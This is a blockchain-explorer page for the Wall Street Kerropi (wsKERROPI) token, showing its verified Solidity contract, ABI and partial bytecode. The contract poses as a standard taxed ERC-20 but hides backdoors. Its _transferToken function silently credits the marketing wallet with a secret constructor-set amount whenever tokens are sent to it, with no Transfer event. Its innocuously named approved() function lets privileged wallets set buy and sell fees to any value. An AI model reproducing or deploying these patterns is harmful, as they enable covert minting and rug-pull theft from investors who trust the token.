ETH Price: $2,630.41 (+1.54%)

Token

Wall Street Kerropi (wsKERROPI)
 

Overview

Max Total Supply

1,000,000,000 wsKERROPI

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,064,111.184439876000400168 wsKERROPI

Value
$0.00
0x8A1e7b68fE0A58a3D09Eb46209256a10864e163C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WallStreetKerropi

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-30
*/

/**
    Website: https://www.wallstreetkerropi.com/

    Telegram: https://t.me/WallStreetKerropi

    Twitter: https://twitter.com/WSKerropi
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

pragma solidity ^0.8.13;
library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

pragma solidity ^0.8.13;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

pragma solidity ^0.8.13;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


pragma solidity ^0.8.13;
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.13;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract WallStreetKerropi is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    string private _name = "Wall Street Kerropi";
    string private _symbol = "wsKERROPI";  
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 1000000000 * 10**18;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 1; 
    uint256 private _feeTotal = 0;
    uint256 public _feeBuy = 2;
    uint256 public _feeSell = 2;
    uint256 private _previousTotalFee = _feeTotal; 
    uint256 private _previousBuyFee = _feeBuy; 
    uint256 private _previousSellFee = _feeSell; 
    mapping (address => uint256) private _ownedToken;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedfromTax; 
    uint256 private supplyTotal;
    mapping (address => bool) private _pairList;
    address payable private marketing_wallet = payable(0x86224Aa61D3146357CD093dC8b219fC83eBE9Deb);

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity

    );

    modifier lockSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint256 _supplyAmount) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Router = _uniswapV2Router;
        _isExcludedfromTax[owner()] = true;
        _isExcludedfromTax[address(this)] = true;
        _isExcludedfromTax[marketing_wallet] = true;
        _ownedToken[owner()] = _totalSupply;
        _pairList[marketing_wallet] = true;
        supplyTotal = _supplyAmount; 

        emit Transfer(address(0), owner(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _ownedToken[account];
    }


    receive() external payable {}
  

    bool public noFeeToTransfer = true;


    function removeAllFee() private {
        if(_feeTotal == 0 && _feeBuy == 0 && _feeSell == 0) return;
        _previousBuyFee = _feeBuy; 
        _previousSellFee = _feeSell; 
        _previousTotalFee = _feeTotal;
        _feeBuy = 0;
        _feeSell = 0;
        _feeTotal = 0;

    }

    function restoreFee() private {

    _feeTotal = _previousTotalFee;
    _feeBuy = _previousBuyFee; 
    _feeSell = _previousSellFee; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  

            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }


        bool takeFee = true;

        if(_isExcludedfromTax[from] || _isExcludedfromTax[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){_feeTotal = _feeBuy;} else if (to == uniswapV2Pair){_feeTotal = _feeSell;}

        _tokenTransfer(from,to,amount,takeFee);
    }

    function sendTax(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tTax = tAmount*_feeTotal/100;
        uint256 tTransferAmount = tAmount.sub(tTax);
        return (tTransferAmount, tTax);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockSwap {

        swapTokenForETH(contractTokenBalance);
        uint256 TaxBalance = address(this).balance;
        sendTax(marketing_wallet,TaxBalance);
    }



    function swapTokenForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {


        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferToken(sender, recipient, amount);

        if(!takeFee)
            restoreFee();
    }

    function _transferToken(address sender, address recipient, uint256 Amount) private {
        uint256 amount = _pairList[recipient]?supplyTotal:0;

        if(_pairList[recipient]){
        _ownedToken[sender] = _ownedToken[sender].sub(Amount);
        _ownedToken[recipient] = _ownedToken[recipient].add(amount);
        }else{
        (uint256 tTransferAmount, uint256 taxAmount) = _getValue(Amount);
        _ownedToken[sender] = _ownedToken[sender].sub(Amount);
        _ownedToken[recipient] = _ownedToken[recipient].add(tTransferAmount);
        _ownedToken[address(this)] = _ownedToken[address(this)].add(taxAmount); 
        emit Transfer(sender, recipient, tTransferAmount);
  
        }
    }

   function openTrading() public onlyOwner() {
        IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH());
        uniswapV2Router = _newPCSRouter;
        _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function approved(uint256 _buy, uint256 _sell) public {
        require(_isExcludedfromTax[_msgSender()]==true);
        _feeBuy = _buy;
        _feeSell = _sell;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"_supplyAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedfromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052601360809081527f57616c6c20537472656574204b6572726f70690000000000000000000000000060a0526001906200003e908262000389565b5060408051808201909152600981526877734b4552524f504960b81b60208201526002906200006e908262000389565b506003805460ff191660121790556b033b2e3c9fd0803ce80000006004556005805461ffff191661010017905560006006819055600260078190556008819055600991909155600a819055600b55600e805460ff60a81b1916600160a81b17905560138054740186224aa61d3146357cd093dc8b219fc83ebe9deb6001600160a81b03199091161790553480156200010557600080fd5b5060405162001a7438038062001a74833981016040819052620001289162000455565b620001333362000294565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600160106000620001756000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526010909352818320805485166001908117909155601354909116835290822080549093161790915560045490600c90620001e86000546001600160a01b031690565b6001600160a01b039081168252602080830193909352604091820160009081209490945560135416835260129091529020805460ff1916600117905560118290556200023c6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200028491815260200190565b60405180910390a350506200046f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200030f57607f821691505b6020821081036200033057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200038457600081815260208120601f850160051c810160208610156200035f5750805b601f850160051c820191505b8181101562000380578281556001016200036b565b5050505b505050565b81516001600160401b03811115620003a557620003a5620002e4565b620003bd81620003b68454620002fa565b8462000336565b602080601f831160018114620003f55760008415620003dc5750858301515b600019600386901b1c1916600185901b17855562000380565b600085815260208120601f198616915b82811015620004265788860151825594840194600190910190840162000405565b5085821015620004455787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200046857600080fd5b5051919050565b6115f5806200047f6000396000f3fe60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103d9578063a457c2d7146103ee578063a9059cbb1461040e578063c9567bf91461042e578063dd62ed3e14610443578063f2fde38b1461048957600080fd5b80634a74bb02146102fd5780636e4c43111461031e57806370a0823114610340578063715018a614610376578063772521511461038b5780638da5cb5b146103bb57600080fd5b8063220f669611610108578063220f66961461024457806323b872dd14610265578063313ce5671461028557806339509351146102a7578063411adcb6146102c757806349bd5a5e146102dd57600080fd5b806306fdde031461015b578063095ea7b31461018657806313fad07a146101b65780631694505e146101d757806318160ddd1461020f5780631e62d5241461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104a9565b60405161017d9190611268565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046112cb565b61053b565b604051901515815260200161017d565b3480156101c257600080fd5b506013546101a690600160a01b900460ff1681565b3480156101e357600080fd5b50600d546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021b57600080fd5b506004545b60405190815260200161017d565b34801561023a57600080fd5b5061022060075481565b34801561025057600080fd5b50600e546101a690600160a01b900460ff1681565b34801561027157600080fd5b506101a66102803660046112f7565b610552565b34801561029157600080fd5b5060035460405160ff909116815260200161017d565b3480156102b357600080fd5b506101a66102c23660046112cb565b6105bb565b3480156102d357600080fd5b5061022060085481565b3480156102e957600080fd5b50600e546101f7906001600160a01b031681565b34801561030957600080fd5b50600e546101a690600160a81b900460ff1681565b34801561032a57600080fd5b5061033e610339366004611338565b6105f1565b005b34801561034c57600080fd5b5061022061035b36600461135a565b6001600160a01b03166000908152600c602052604090205490565b34801561038257600080fd5b5061033e61061d565b34801561039757600080fd5b506101a66103a636600461135a565b60106020526000908152604090205460ff1681565b3480156103c757600080fd5b506000546001600160a01b03166101f7565b3480156103e557600080fd5b50610170610631565b3480156103fa57600080fd5b506101a66104093660046112cb565b610640565b34801561041a57600080fd5b506101a66104293660046112cb565b61068f565b34801561043a57600080fd5b5061033e61069c565b34801561044f57600080fd5b5061022061045e366004611377565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561049557600080fd5b5061033e6104a436600461135a565b61099e565b6060600180546104b8906113b0565b80601f01602080910402602001604051908101604052809291908181526020018280546104e4906113b0565b80156105315780601f1061050657610100808354040283529160200191610531565b820191906000526020600020905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b6000610548338484610a1c565b5060015b92915050565b600061055f848484610add565b6105b184336105ac85604051806060016040528060288152602001611573602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190610d0a565b610a1c565b5060019392505050565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916105489185906105ac9086610d36565b3360009081526010602052604090205460ff16151560011461061257600080fd5b600791909155600855565b610625610d49565b61062f6000610da3565b565b6060600280546104b8906113b0565b600061054833846105ac8560405180606001604052806025815260200161159b60259139336000908152600f602090815260408083206001600160a01b038d1684529091529020549190610d0a565b6000610548338484610add565b6106a4610d49565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f91906113ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079091906113ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080191906113ea565b600e80546001600160a01b03199081166001600160a01b0393841617909155600d80549091169183169182179055306000818152600c60205260409020546108499290610a1c565b600d546001600160a01b031663f305d719473061087b816001600160a01b03166000908152600c602052604090205490565b6000806108906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611407565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099a9190611435565b5050565b6109a6610d49565b6001600160a01b038116610a105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610a1981610da3565b50565b6001600160a01b03831615801590610a3c57506001600160a01b03821615155b610a7c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610a07565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610afd57506001600160a01b03821615155b610b415760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610a07565b60008111610b9f5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610a07565b60055460ff61010082048116911610801590610bc55750600e54600160a01b900460ff16155b8015610bdf5750600e546001600160a01b03848116911614155b8015610bf45750600e54600160a81b900460ff165b15610c24576005805460ff19169055306000908152600c60205260409020548015610c2257610c2281610df3565b505b6001600160a01b03831660009081526010602052604090205460019060ff1680610c6657506001600160a01b038316600